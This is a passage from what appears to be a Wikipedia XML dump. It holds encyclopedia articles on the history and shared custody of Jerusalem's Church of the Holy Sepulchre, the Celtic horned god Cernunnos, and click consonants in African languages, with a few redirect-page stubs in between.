[[Eusebius of Caesarea|Eusebius]] describes in his ''Life of Constantine'' [http://www.ccel.org/fathers2/NPNF2-01/Npnf2-01-29.htm#P7646_3165242] how the site of the Holy Sepulchre, originally a site of veneration for the Christian community in Jerusalem, had been covered with earth and a temple of [[Venus (mythology)|Venus]] had been built on top. Although Eusebius does not say as much, this would probably have been done as part of [[Hadrian]]'s reconstruction of Jerusalem as [[Aelia Capitolina]] in [[135]], following the destruction of the [[Jewish Revolt]] of [[70]] and [[Bar Kokhba's revolt]] of [[132]]&amp;ndash;[[135]]. Following his conversion to Christianity, Emperor [[Constantine I of the Roman Empire|Constantine]] ordered in about [[325]]/[[326]] that the site be uncovered, and instructed Saint [[Macarius of Jerusalem|Macarius]], Bishop of Jerusalem, to build a church on the site. [[Socrates Scholasticus]] (born c. [[380]]), in his ''Ecclesiastical History,'' gives a full description of the discovery [http://www.ccel.org/fathers2/NPNF2-02/Npnf2-02-06.htm#P394_149362] (that was repeated later by [[Sozomen]] and by [[Theodoret]]) that emphasizes the role played in the excavations and construction by Constantine's mother [[Helena, mother of Constantine the Great|Helena]], to whom is also credited the rediscovery of the [[True Cross]]. 

[[Image:Tomb of christ sepulchre.jpg|thumb|280px|The Edicule of the Holy Sepulchre (The Tomb of Christ) with the dome of the rotunda visible above.]]
Constantine's church was built around the excavated hill of the Crucifixion, and was actually three connected churches built over the three different holy sites, including a great [[basilica]] (the ''Martyrium'' visited by the nun [[Egeria]] in the 380s), an enclosed [[colonnade]]d [[atrium (architecture)|atrium]] (the ''Triportico'') built around the traditional Rock of Calvary, and a [[rotunda (architecture)|rotunda]], called the ''Anastasis'' (&quot;Resurrection&quot;), which contained the remains of the cave that Helena and Macarius had identified with the burial site of Jesus. The surrounding rock was cut away, and the Tomb was encased in a structure called the ''Edicule'' ([[Latin]] ''aediculum'', small building) or the ''Kouvoulkion'' ([[Greek language|Greek]], shrine) in the center of the rotunda. The [[dome]] of the rotunda was completed by the end of the 4th century.

This building was damaged by fire in [[614]] when the [[Sassanid dynasty|Persians]] under [[Khosrau II of Persia|Khosrau II]] invaded Jerusalem and captured the Cross. In [[630]], Emperor [[Heraclius]] marched triumphantly into Jerusalem and restored the True Cross to the rebuilt Church of the Holy Sepulchre. Under the [[Jerusalem#Arab Caliphates.2C Christian Crusaders.2C and early Ottoman rule .28638-1800s.29|Muslims]] it remained a Christian church. The early Muslim rulers protected the city's Christian sites, prohibiting their destruction and their use as living quarters, but after a riot in [[966]], when the doors and roof were burnt, the original building was completely destroyed on [[October 18]], [[1009]] by the &quot;mad&quot; [[Fatimid]] [[caliph]] [[Al-Hakim bi-Amr Allah]], who hacked out the Church's foundations down to bedrock. The Edicule and the east and west walls and the roof of the cut-rock tomb it encased were destroyed or damaged (contemporary accounts vary), but the north and south walls were likely protected by rubble from further damage.

However, a series of small chapels was erected on the site by [[Constantine IX]] Monomachos in [[1048]] under stringent conditions imposed by the caliphate. The rebuilt sites were taken by the [[knight]]s of the [[First Crusade]] on [[July 15]], [[1099]]. The First Crusade was envisioned as an armed pilgrimage, and no crusader could consider his journey complete unless he had prayed as a pilgrim at the Holy Sepulchre. Crusader chief [[Godfrey of Bouillon]], who became the first [[Kingdom of Jerusalem|crusader monarch of Jerusalem]], decided not to use the title &quot;king&quot; during his lifetime, and declared himself ''Advocatus Sancti Sepulchri'', &quot;Protector (or Defender) of the Holy Sepulchre.&quot; The chronicler [[William of Tyre]] reports on the reconstruction in the mid-12th century, when the crusaders began to renovate the church in a [[Romanesque]] style and added a bell tower. These renovations unified the holy sites and were completed during the reign of [[Melisende of Jerusalem|Queen Melisende]] in [[1149]]. The church became the seat of the first Latin Patriarchs, and was also the site of the kingdom's [[scriptorium]]. The church was lost to [[Saladin]], along with the rest of the city, in [[1187]], although the treaty established after the [[Third Crusade]] allowed for Christian pilgrims to visit the site. [[Frederick II, Holy Roman Emperor|Emperor Frederick II]] regained the city and the church by treaty in the 13th century, while he himself was under a ban of excommunication, leading to the curious result of the holiest church in Christianity being laid under [[Interdict (Roman Catholic Church)|interdict]]. Both city and church were captured by the [[Khwarezmians]] in [[1244]]. 

The [[Franciscan]] friars renovated it further in [[1555]], as it had been neglected despite increased numbers of pilgrims. A fire severely damaged the structure again in [[1808]], causing the dome of the Rotunda to collapse and smashing the Edicule's exterior decoration. The Rotunda and the Edicule's exterior were rebuilt in [[1809]]&amp;ndash;[[1810]] by architect Komminos of [[Mytilene]] in the then current Turkish [[Baroque]] style. The fire did not reach the interior of the Edicule, and the marble decoration of the Tomb dates mainly to the 1555 restoration. The current dome dates from [[1870]]. Extensive modern renovations began in [[1959]], including a restoration of the dome from [[1994]]&amp;ndash;[[1997]]. The cladding of red marble applied to the Edicule by Komminos has deteriorated badly and is detaching from the underlying structure; since [[1947]] it has been held in place with an exterior scaffolding of iron girders installed by the [[British Mandate of Palestine|British Mandate]]. No plans have been agreed upon for its rennovation.

===Status quo===
Since the renovation of 1555, control of the church oscillated between the Franciscans and the Orthodox, depending on which community could obtain a favorable ''[[firman]]'' from the ''[[Sublime Porte]]'' at a particular time, often through outright bribery. In 1767, weary of the squabbling and the violence that often accompanied it, the ''Porte'' issued a ''firman'' that divided the church among the claimants.  This was confirmed in 1852 with another ''firman'' that made the arrangement permanent, establishing a ''[[status quo]]'' of territorial division among the communities.

The primary custodians are the [[Greek Orthodox]], the [[Armenian Apostolic Church| Armenian Apostolic]] and [[Roman Catholic Church|Roman Catholic]] churches. In the 19th century, the [[Coptic Orthodox Church|Coptic Orthodox]], the [[Ethiopian Orthodox Church|Ethiopian Orthodox]] and the [[Syriac Orthodox Church|Syriac Orthodox]] acquired lesser responsibilities, which include shrines and other structures within and around the building. Times and places of worship for each community are strictly regulated in common areas.

Establishment of the ''status quo'' did not halt the violence, which continues to break out every so often even in modern times.  On a hot summer day in 2002, the Coptic monk who is stationed on the roof to express Coptic claims to the Ethiopian territory there moved his chair from its agreed spot into the shade. This was interpreted as a hostile move by the Ethiopians, and eleven were hospitalized after the resulting fracas.[http://www.christianitytoday.com/ct/2002/129/52.0.html]
&lt;div style=&quot;float:left;width:200px;&quot;&gt;
[[Image:Holy sepulchre ladder.jpg|thumb|180px|none|The immovable ladder. Detail from photograph of main entrance above, taken in 2005.]]
[[Image:Holy sepulchre ladder 1890s.png|thumb|180px|none|The ladder in 1892.]]
&lt;/div&gt;
In another incident in 2004 during Orthodox celebrations of the [[Feast of the Cross|Exaltation of the Holy Cross]], a door to the Franciscan chapel was left open.  This was taken as a sign of disrespect by the Orthodox and a fistfight broke out.  Some people were arrested, but no one was seriously injured.[http://www.guardian.co.uk/religion/Story/0,2763,1314466,00.html]

Under the ''status quo'', no part of what is designated as common territory may be so much as rearranged without consent from all commuities. This often leads to the neglect of badly needed repairs when the communities cannot come to an agreement among themselves about the final shape of a project. Just such a disagreement has delayed the renovation of the ''edicule'', where the need is now dire but where also any change in the structure might result in a change to the ''status quo'' disagreeable to one or more of the communities.

A less grave sign of this state of affairs is located on a window ledge over the church's entrance.  A wooden ladder was placed there sometime before 1852, when the ''status quo'' defined both the doors and the window ledges as common ground. The ladder remains there to this day, in almost exactly the same position it can be seen to occupy in century-old photographs and engravings.

None of the communities control the main entrance.  For centuries, two neutral neighbouring Muslim families appointed by [[Saladin]], the Nuseibeh and Joudeh families, were the custodians of the key to the single door, which is unlocked at set times in cooperation with one of the communities on a rotating schedule. This narrow way of access to such a large structure has proven to be hazardous at times.  For example, when a fire broke out in 1840, dozens of pilgrims were trampled to death. On [[June 20]], [[1999]], the communities agreed to install a new exit door in the church. There was never any report of this door being completed.

==Modern arrangement of the church==
[[Image:Holy_sepulchre.jpg|thumb|The Stone of the Anointing, believed to be the place where Jesus' body was prepared for burial. It is the 13&lt;sup&gt;th&lt;/sup&gt; Station of the Cross.]][[Image:Anastasia Rotonda sketch 1.png|thumb|Floor Plan Sketch]]The entrance to the church is through a single door in the south [[transept]]. The key to the entrance is held by the Muslim Nuseibeh family who were entrusted with guardianship by Saladin in 1192 to keep the peace between the various Christian factions. After periods of tension between the Nuseibeh family and the Ottoman authorities in the 18th century, the Ottoman authorities appointed the Joudeh family to assist the Nuseibeh's in their task. Today, the Joudeh family still assists the Nuseibeh's by bringing the key of the church to a member of the Nuseibeh family who unlocks and locks the door on a daily basis.

Just inside the entrance is the Stone of Anointing, believed to be the spot where Jesus' body was prepared for burial. To the left, or west, is the [[Rotunda (architecture)|Rotunda]] of the Anastasis beneath the larger of the church's two domes, in the center of which is the Educule of the Holy Sepulchre itself. Under the ''status quo'' the Eastern Orthodox, Roman Catholic, and [[Armenian Apostolic Church|Armenian Apostolic]] Churches all have rights to the interior of the tomb, and all three communities celebrate the [[Divine Liturgy]] or [[Mass (liturgy)|Mass]] there daily. It is also used for other ceremonies on special occasions, such as the [[Holy Saturday]] ceremony of the [[Holy Fire]] celebrated by the [[Orthodox Patriarch of Jerusalem|Greek Orthodox Patriarch of Jerusalem]]. To its rear, within a chapel constructed of iron latticework upon a stone base semicircular in plan, lies the altar used by the [[Coptic Christianity|Coptic Orthodox]]. Beyond that to the rear of the Rotunda is a very rough hewn chapel believed to be the tomb of [[Joseph of Arimathea]] in which the [[Syriac Orthodox Church|Syriac Orthodox]] celebrate their Liturgy on Sundays. To the right of the sepulchre on the southeastern side of the Rotunda is the Chapel of the Apparition which is reserved for Roman Catholic use.

On the east side opposite the Rotunda is the Crusader structure housing the main altar of the Church, today the Greek Orthodox [[catholicon]]. The second, smaller dome sits directly over the center of the transept crossing of the [[Choir (disambiguation)|choir]] where the ''compas'', an [[omphalos]] once thought to be the center of the world, is situated. East of this is a large [[iconostasis]] demarcating the Greek Orthodox sanctuary before which is set the Patriarchal throne and a throne for visiting episcopal celebrants. On the south side of the altar via the [[ambulatory]] is a stairway climbing to the Chapel of [[Calvary]], or Golgotha, believed to be the site of Jesus' crucifixion and the most lavishly decorated part of the church. The main altar there belongs to the Greek Orthodox, while the Roman Catholics have an altar to the side. Further to the east in the ambulatory are the stairs descending to the Chapel of St. Helena, belonging to the Armenians. From there, another set of stairs leads down to the Roman Catholic Chapel of the Invention of the Holy Cross, believed to be the place where the [[True Cross]] was found.

==Authenticity==
As noted above, both Eusebius and Socrates Scholasticus record that the tomb of Jesus was originally a site of veneration for the Christian community in Jerusalem and its location remembered by that community even when the site was covered by Hadrian's temple. Eusebius in particular notes that the uncovering of the tomb &quot;''afforded to all who came to witness the sight, a clear and visible proof of the wonders of which that spot had once been the scene''&quot; (''Life of Constantine'', Chapter XXVIII [http://www.ccel.org/fathers2/NPNF2-01/Npnf2-01-29.htm#P7655_3169703]). 

Archaeologist Martin Biddle of [[Oxford University]] has theorized that this &quot;clear and visible proof&quot; might have been [[graffiti]] to the effect of &quot;This is the Tomb of Christ&quot;, scratched in the rock by Christian pilgrims before the construction of the Roman temple. Similar ancient graffiti are still visible in the [[Catacomb]]s of Rome, indicating the tombs of especially venerated saints, or even (to give a modern, secular example) scratched on tombstones in [[Père Lachaise Cemetery]] to direct [[Doors]] fans to the grave of [[Jim Morrison]].

From the time of its original construction in 335, and despite numerous renovations, the Church of the Holy Sepulchre has been venerated as the authentic site of Jesus's crucifixion and burial. 
[[Image:Anastasia Rotonda 4th century floor plan 2.png|thumb|right|Floor plan of the site in IV Century]]

In the [[nineteenth century]], a number of scholars disputed the identification of the Church with the actual site of Jesus's crucifixion and burial. They reasoned that the Church was inside the city walls, while early accounts (''e.g.'', [[Epistle to the Hebrews|Hebrews]] 13:12) described these events as outside the walls. On the morning after his arrival in Jerusalem, [[Charles George Gordon|General Gordon]] selected a rock-cut tomb in a cultivated area outside the walls as a more likely site for the burial of Jesus. This site is usually referred to as the Garden Tomb to distinguish it from the Holy Sepulchre, and it is still a popular pilgrimage site for those (usually Protestants) who doubt the authenticity of the Anastasis and/or do not have permission to hold services in the Church itself.

However, it has since been determined that the site was indeed outside the city walls at the time of the crucifixion. The Jerusalem city walls were expanded by [[Herod Agrippa]] in [[41]]&amp;ndash;[[44]], and only then enclosed the site of the Holy Sepulchre, at which time the surrounding garden mentioned in the Bible would have been built up as well. To quote the [[Israeli]] scholar Dan Bahat, former City Archaeologist of Jerusalem:

: &quot;We may not be absolutely certain that the site of the Holy Sepulchre Church is the site of Jesus' burial, but we have no other site that can lay a claim nearly as weighty, and we really have no reason to reject the authenticity of the site.&quot; (Bahat, 1986)

==References==
* Bahat, Dan (1986). &quot;Does the Holy Sepulchre church mark the burial of Jesus?&quot;, ''[[Biblical Archaeology Review]]'' '''12''' (3) (May/June) 26&amp;ndash;45.
* Biddle, Martin (1999). ''The Tomb of Christ''. Phoenix Mill:  Sutton Publishing. ISBN 0-7509-1926-4.
* Biddle, Martin; Avni, Gideon; Seligman, Jon &amp; Winter, Tamar (text); Zabé, Michèl &amp; Nalbandian, Garo (photos) (2000). ''The Church of the Holy Sepulchre''. New York: Rizzoli. ISBN 0-8478-2282-6.
* [http://www.christianitytoday.com/ct/2002/129/52.0.html &quot;Divvying up the Most Sacred Place] by Chris Armstrong, ''Christianity Today'', Week of July 29, 2002, retrieved February 28, 2006.
* [http://www.guardian.co.uk/religion/Story/0,2763,1314466,00.html &quot;Punch-up at tomb of Jesus&quot;] by Allyn Fisher-Ilan, ''The Guardian'', September 28, 2004, retrieved February 28, 2006.

==See also==
* [[Order of the Holy Sepulchre]], initiated by [[Godfrey of Bouillon]]
* [[Orthodox Patriarch of Jerusalem]]
* [[Temple Church]] in London
* [[Early Christian art and architecture]]

==External links==
* [http://www.custodia.org/indexSaf.html Franciscan Custody of the Holy Land]
* [http://www.trekker.co.il/english/church-holy-sepulchre.htm Photos of the Church of the Holy Sepulchre]
* [http://www.historychannel.com/classroom/unesco/jerusalem/about_sepulchre.html History Channel site]: Church of the Holy Sepulchre
* [http://home.infionline.net/~ddisse/egeria.html Egeria's description in the 380s]
* [http://www.geocities.com/Athens/Oracle/1631/cohs_history.html James E. Lancaster, &quot;A brief history of the Church of the Holy Sepulchre&quot;]
* [http://www.jerusalem-patriarchate.org/intro.asp The Greek Orthodox Patriarchate of Jerusalem official site]
* [http://www.armenian-patriarchate.org/ Armenian Patriarchate of Jerusalem official site]
* [http://www.orthodoxwiki.org/Church_of_the_Holy_Sepulchre_%28Jerusalem%29 Church of the Holy Sepulchre] ([[OrthodoxWiki]] article)
* [http://www.holyfire.org/eng/index.htm Miracle of the Holy Fire]
* [http://www.jerusalemshots.com/cat_en63.html Jerusalem Photos] Portal &amp;mdash; Church of the Holy Sepulchre 
* [http://www.wildlife-photo.org/gallery/christian_photography?page=1 Pictures in Church of the Holy Sepulchre]
* [http://www.nuseibeh.org Nuseibeh Family Website &amp;mdash; Muslim Custodians of the Church of the Holy Sepulchre]
[[Category:Crusades]]
[[Category:Basilica churches in Asia|Holy Sepulchre]]
[[Category:Churches in Jerusalem]]

{{Eastern Christianity}}

[[ar:كنيسة القيامة]]
[[de:Grabeskirche]]
[[es:Santo Sepulcro]]
[[fr:Saint-Sépulcre]]
[[he:כנסיית הקבר הקדוש]]
[[ja:聖墳墓教会]]
[[pl:Bazylika Grobu Świętego]]
[[pt:Santo Sepulcro]]</text>
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  </page>
  <page>
    <title>Cernunnos</title>
    <id>7811</id>
    <revision>
      <id>40237780</id>
      <timestamp>2006-02-19T04:04:38Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Germanic]] to [[Germanic peoples]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Cernunnos.jpg|right|Cernunnos|thumb|350px|Depiction of Cernunnos from the ''Pilier des nautes'', Paris]]
'''Cernunnos''' in  [[Celtic polytheism]] is the deified [[spirit]] of horned male animals, especially of [[stag]]s, a nature god associated with produce and fertility. As a  &quot;[[Horned God]]&quot;, Cernunnos was one of a number of similar deities found in many ancient cultures.

==Origins==
Cernunnos is known, from archaeological sources such as inscriptions and depictions, to have been worshipped in [[Gaul]], Northern Italy ([[Gallia Cisalpina]]) and the southern coast of [[Ancient Britain|Britain]]. The earliest known probable depiction of Cernunnos was found at [[Val Camonica]] in [[Italy]], dating from the [[4th century BC]], while the best known depiction is on the famous [[Gundestrup cauldron]] of pre-[[Germanic peoples|Germanic]] [[Denmark]], dating to the [[1st century BC]]. 

In [[Gallo-Roman religion]], his name is known from the &quot;[[Pillar of the Boatmen]]&quot; (''Pilier des nautes''), a monument now displayed in the [[Musée Nationale du Moyen Age]] in [[Paris]]. It was constructed by Gaulish sailors in the early [[first century CE]], from the inscription (CIL XIII number 03026) probably in the year 14, on the accession of the [[Roman emperors|emperor]] [[Tiberius Claudius Nero]]. It was found in [[1710]] in the foundations of the cathedral of [[Notre-Dame de Paris]] on the site of [[Lutetia]], the ''civitas'' capital of the [[Celts|Celtic]] [[Parisii]] tribe. It depicts Cernunnos and other [[Celtic mythology|Celtic deities]] alongside [[Roman mythology|Roman divinities]] such as [[Jupiter]], [[Vulcan (mythology)|Vulcan]], [[Castor]], and [[Pollux]]. 

The ''Pilier des nautes'' provides the earliest written record of the deity's name. Additional evidence is given by two identical inscriptions on metal plaques from [[Seinsel-Rëlent]] in [[Luxembourg]], in the territory of the Celtic [[Treveri]] tribe. These inscriptions (AE 1987, 0772) read ''Deo Ceruninco'', &quot;to the God Cerunincos&quot;. Lastly, a Gaulish inscription (RIG 1, number G-224) written in [[Ancient Greek language|Greek]] letters from [[Montagnac]] ([[Hérault]], [[Languedoc-Roussilion]], [[France]]) reads ''αλλετ[ει]υος καρνονου αλ[ι]σο[ντ]εας'' thus giving the name &quot;Carnonos&quot;.

==Etymology==
On the Parisii inscription ''[_]ernunnos'', the first letter of the name has been scraped off at some point, but can safely be restituted to &quot;Cernunnos&quot; because of the depiction of an antlered god below the name and the fact that in [[Gaulish language|Gaulish]], ''carnon'' or ''cernon'' means &quot;antler&quot; or &quot;horn&quot; (Delmarre, 1987 pp. 106-107). Similarly ''cern'' means &quot;horn&quot; or &quot;bumb, boss&quot; in Old Irish and is etymologically related to similar words ''carn'' in Welsh and Breton. These derive from a proto-Indo-European root ''*krno-'' which also gave the Latin ''cornu'' and Germanic ''*hurnaz'' (from which English &quot;horn&quot;) (Nussbaum 1986) (Porkorny 1959 pp.574-576).
The same Gaulish root is found in the names of tribes such as the [[Carnutes]], [[Carni]], and [[Carnonacae]] and in the name of the Gaulish war trumpet, the [[carnyx]].
Therefore, the [[Proto-Celtic]] form of this [[theonym]] can be reconstructed as either *''Cerno-on-os'' or *''Carno-on-os'', both meaning &quot;horned masculine deity&quot;. The -on- is frequently, but not exclusively, found in theonyms (examples: [[Maponos|Map-on-os]], [[Epona|Ep-on-a]], [[Matronae|Matr-on-ae]], [[Sirona|Sir-on-a]]).
Following accepted Celtic [[sound law]]s, the [[Romano-British]] [[form]] of this Proto-Celtic theonym is likely to have been ''*Cernonos'' or ''*Carnonos'' both directly comparable to the Gaulish form Cernunnos.

==Iconography==
[[Image:Gundestrup_A.jpg|right|Cernunnos|thumb|350px|Depiction of Cernunnos from the [[Gundestrup cauldron]].]]

The depictions of Cernunnos are strikingly consistent throughout the Celtic world. His most distinctive attribute are his stag's horns, and he is usually portrayed as a mature man with long hair and a beard. He wears a [[torc]], an ornate neck-ring used by the Celts to denote nobility. He often carries other torcs in his hands or hanging from his horns, as well as a purse filled with coins. He is usually portrayed seated and cross-legged, in a position which some have interpreted as [[meditation|meditative]] or [[shaman|shamanic]], although it may only reflect the fact that the Celts squatted on the ground when hunting.

Cernunnos is nearly always portrayed with animals, in particular the [[stag]]. He is also frequently associated with a unique beast that seems to belong primarily to him: a serpent with the horns of a [[ram (sheep)|ram]]. This creature may have been a deity in its own right. He is associated with other beasts less frequently, including [[bull]]s (at [[Reims]]), [[dog]]s and [[rat]]s. Because of his frequent association with creatures, scholars often describe Cernunnos as the &quot;Lord of the Animals&quot; or the &quot;Lord of Wild Things&quot;. Because of his association with stags (a particularly hunted beast) he is also described as the &quot;Lord of the Hunt&quot;. Interestingly, the ''Pilier des nautes'' links him with sailors and with commerce, suggesting that he was also associated with material wealth as does the coin pouch from the Cernunnos of Reims (Marne, Champagne, France) - in antiquity, Durocortorum, the ''civitas'' capital of the [[Remi]] tribe - and the stag vomiting coins from Niedercorn-Turbelslach (Luxembourg) in the lands of the [[Treveri]].

==Medieval traces==
Traces of the god survived well into Christian times. The literary traditions of both Wales and Ireland contain allusions to him, while in [[Brittany]] the legendary saint [[Korneli]] (or Cornély) at Carnac has attributes of Cernunnos. It has also been suggested that the [[English mythology|English myth]] of [[Herne the Hunter]] is an allusion to Cernunnos, though this seems doubtful as Herne is thought to be a survival of Saxon, rather than Celtic, beliefs and is first mentioned in [[1597]] in [[William Shakespeare|Shakespeare's]] play ''[[The Merry Wives of Windsor]]'', Act 4, Scene 4.

==Neo-Paganism==
===Wicca===
In [[Wicca]], imagery derived from historical Celtic culture is sometimes used, including a depiction of Cernunnos, often referred to as [[The Horned God]]. This version of Cernunnos is based little on historical findings and more on phallic symbolism, merged from elements of [[Pan (mythology)|Pan]]. The adherents generally follow a life-fertility-death cycle for Cernunnos, though his death is now usually set at [[Samhain]], the Gaelic New Year Festival usually taking place on October 31. It should be noted, however, that Wicca is in no way an exact reconstruction of historical Celtic religion and culture, despite claims by some Wiccans. [http://www.clannada.org/wicca.php]

==References==
* ''Corpus Inscriptionum Latinarum'' (CIL) volume 13, number 03026
* Delmarre, Xavier (2003) ''Dictionnarie de la langue gauloise'' (2nd ed.) Paris: Editions Errance. ISBN 2-87772-237-6
* Lejeune, Michel (1995) ''Receuil des Inscriptions Gauloise'' (RIG) volume 1, ''Textes gallo-grecs''. Paris: Editions du CNRS
* Nussbaum, Alan J. (1986) ''Head and Horn in Indo-European'', Berlin, New York: Walter de Gruyter. ISBN 3110104490  
* Porkorny, Julius (1959) ''Indogermanisches etymologisches Wörterbuch'' Berlin: Franke Verlag

==See also==
* [[Celtic polytheism]]
* [[Celtic Reconstructionist Paganism]]
* [[Horned God]]

[[Category:Ancient Gaulish and British gods]]
[[Category:Celtic gods]]
[[Category:Celtic mythology]]
[[Category:Nature gods]]

==External links==
*[http://www.shadowdrake.com/celtic/gundestrup.html Gundestrup Cauldron]
*[http://www.traditionalwitchcraft.org/witchcraft/vindos.html Vindos]

[[de:Cernunnos]]
[[fr:Cernunnos]]
[[nl:Cernunnos]]
[[pl:Cernunnos]]
[[pt:Cernunnos]]
[[ru:Цернунн]]
[[fi:Cernunnos]]
[[sv:Cernunnos]]</text>
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    <title>Conways Life</title>
    <id>7812</id>
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      <id>15905860</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <username>Zundark</username>
        <id>70</id>
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    <title>Conways life</title>
    <id>7813</id>
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      <id>15905861</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
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    <title>Conways Game of Life</title>
    <id>7814</id>
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      <id>15905862</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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  </page>
  <page>
    <title>Click consonant</title>
    <id>7816</id>
    <revision>
      <id>39112049</id>
      <timestamp>2006-02-10T20:17:22Z</timestamp>
      <contributor>
        <username>Big Adamsky</username>
        <id>468840</id>
      </contributor>
      <minor />
      <comment>/* Distribution */</comment>
      <text xml:space="preserve">{{Manner of articulation}}
'''Clicks''' are [[stop consonant|stops]] produced with two articulatory closures in the oral cavity. The pocket of air enclosed between the two closures is rarefied by a sucking action of the [[tongue]]. The release of the more forward closure produces what in many cases are the loudest consonants in the language, although in some languages such as [[Hadza language|Hadza]], clicks are more subtle and may even be mistaken for [[ejective consonant|ejective stops]]. Clicks appear more stop-like or more [[affricate]]-like depending on their place of articulation: Clicks involving an [[apical consonant|apical]] [[alveolar consonant|alveolar]] or [[laminal consonant|laminal]] [[postalveolar consonant|postalveolar]] closure are acoustically abrupt and sharp like plain stops, while [[labial consonant|bilabial]], [[dental consonant|dental]] and [[lateral consonant|lateral]] clicks have a longer and acoustically noisier sounds that are more like affricates.

==Distribution==

Clicks occur in all the [[Khoisan languages]] of southern Africa, and in several neighbouring [[Bantu languages]], such as Nguni ([[Zulu language|Zulu]], [[Xhosa language|Xhosa]], [[Swati language|Swazi]], [[Ndebele language|Ndebele]]), [[Yeyi language|Yeyi]], and [[Sesotho language|Sesotho]], which [[Sprachbund|borrowed them]] from Khoisan languages. Clicks also occur in [[Sandawe language|Sandawe]] and [[Hadza language|Hadza]], two languages of [[Tanzania]] traditionally classified as Khoisan, as well as in [[Dahalo language|Dahalo]], an endangered South [[Cushitic languages|Cushitic language]] of [[Kenya]].

The Southern African Khoisan languages only permit [[root word|root]]-initial clicks. [[Hadza]], [[Sandawe]], and several of the [[Bantu language]]s also allow [[syllable]]-initial clicks within roots, but in no language does a click close a syllable or end a word. 

The only non-African language known to employ clicks as regular speech sounds is [[Damin]], a secret ritual code used by speakers of [[Lardil]] in [[Australia]]. One of the clicks in Damin is actually an ''egressive'' click, using the tongue to compress the air in the mouth for an outward (egressive) &quot;spurt&quot;. English and many other languages may use clicks in interjections, such as &quot;tsk-tsk&quot; or &quot;gee-up&quot;.

==Types of clicks==
As noted above, clicks necessarily involve two closures: an anterior one which is represented by the special click symbol in the IPA, and a posterior one which is usually [[velar consonant|velar]] but can also be [[uvular consonant|uvular]]. This posterior articulation may be oral or [[nasal consonant|nasal]], voiced or voiceless, etc. (It's quite easy to pronounce a nasal click once you realise that while maintaining the double oral closure you're free to breathe through the nose.) Since the posterior articulation is most commonly velar (and can only be velar in most languages), only the place of the anterior articulation (called the ''release'' or ''influx'') is normally mentioned, while only the manner of the posterior articulation (called the ''accompaniment'' or ''efflux'') is specified. Thus a &quot;nasal dental click&quot; means a click with a dental anterior articulation/release and a velar-nasal posterior articulation/accompaniment. 

There are numerous combinations of elements making up a click accompaniment, some of them quite daunting. These include voiceless, voiced, aspirate, breathy voiced, nasal, voiceless nasal, breathy voiced nasal, glottalized, voiceless nasal glottalized, affricate, ejective affricate, prevoiced, prenasalized, and others as well, including extremely complicated combinations such as a voiced velar click followed by voiceless affricated ejective, {{IPA|[gk!x’]}}, and a velar ejective click followed by uvular ejective, {{IPA|[k!’q’]}} (Ladefoged and Maddieson, 1996). This means that pentagraphs like ''gk!x’'' are possible in a practical orthography. However, many of these combinations are [[consonant cluster]]s rather than separate phonemes. 

The size of click inventories ranges from as few as four for the Dahalo language of Kenya, to dozens in the Northern and Southern [[Khoisan language]]s, and up to 83 clicks (including 50 simple clicks) in [[!Xóõ]] (Ladefoged and Maddieson, 1996). In the latter language, over 70% of words begin with a click.

==Transcription==
The five click releases with dedicated symbols in the [[International Phonetic Alphabet]] (IPA) are [[bilabial click|bilabial]] {{IPA|ʘ}}, [[dental click|dental]] {{IPA|ǀ}}, [[palatal click|palato-alveolar]] or &quot;palatal&quot; {{IPA|ǂ}}, [[postalveolar click|(post)alveolar]] or &quot;retroflex&quot; {{IPA|ǃ}}, and [[alveolar lateral click|alveolar lateral]] {{IPA|ǁ}}. The retroflex and palatal releases are &quot;abrupt&quot;; that is, they are sharp popping sounds with little frication (turbulent airflow). The bilabial, dental, and lateral releases, on the other hand, are &quot;noisy&quot;: they are longer, lip- or tooth-sucking sounds with turbulent airflow, and are sometimes called affricates. (They can, however, still have either affricate or non-affricate accompaniments.) The [[apical consonant|apical]] releases, {{IPA|ǃ}} and {{IPA|ǁ}}, are sometimes called &quot;grave&quot;, because their pitch is dominated by low frequencies; while the [[laminal consonant|laminal]] releases, {{IPA|ǀ}} and {{IPA|ǂ}}, are sometimes called &quot;acute&quot;, because they are dominated by high frequencies. Thus the alveolar {{IPA|ǃ}} sounds something like a cork pulled from a bottle (a low pitched pop), at least in Xhosa; while the dental {{IPA|ǀ}} is like English ''tsk! tsk!'', a high pitched sucking on the incisors. The lateral clicks are pronounced by sucking on the molars of one or both sides. The bilabial {{IPA|ʘ}} is different than what many people associate with a kiss: the lips are pressed more-or-less flat together, as they are for a [p] or an [m], not rounded as they are for a [w]. 

The [[IPA]] came up with a set of Latin-based symbols for these sounds, but they were never much used, and were eventually given up for the Khoisanist symbols. 

{| 
!symbol!!bilabial!!dental!!alveolar!!palatal!!lateral
|- align=center
|align=left|'''Khoisanist'''||{{IPA|ʘ}}||{{IPA|ǀ}}||{{IPA|ǃ}}||{{IPA|ǂ}}||{{IPA|ǁ}}
|- align=center
|align=left|'''old IPA'''||{{IPA|q̢}}||{{IPA|ʇ}}||{{IPA|ʗ}}||{{IPA|°}}||{{IPA|ʖ}}
|- align=center
|align=left|'''Zulu'''|| ||c||q|| ||x
|}

There are a few less well attested releases, such as a noisy laminal denti-alveolar lateral release (Ⅲ [triple pipe] in an ''ad hoc'' transcription), which contrasts with an apical postalveolar lateral in Mangetti Dune !Kung; an abrupt sub-apical retroflex release &lt;‼&gt; in Angolan !Kung; and a &quot;slapped&quot; alveolar click {{IPA|[!¡]}} in Hadza and Sandawe, where the tongue slaps the bottom of the mouth after the release. (These distinctions may suffice for the Damin releases as well.) However, the Khoisan languages are poorly attested, and it is quite possible that, as they become better described, more click releases will be found. 

Technically, when a full click consonant (that is, an accompaniment plus release) is transcribed, a tie bar should be used, because the accompaniment overlaps the release in time. (For example, in a nasal click such as {{IPA|[ŋ͡ǂ]}}, the nasal {{IPA|[ŋ]}} is pronounced before, during, and after the release {{IPA|[ǂ]}}.) However, a tie bar is not often used in practice, and when the accompaniment is a simple [k], it will sometimes be omitted as well. That is, {{IPA|[ǂ]}} = {{IPA|[kǂ]}} = {{IPA|[ǂk]}} = {{IPA|[k͡ǂ]}} = {{IPA|[ǂ͡k]}}. 

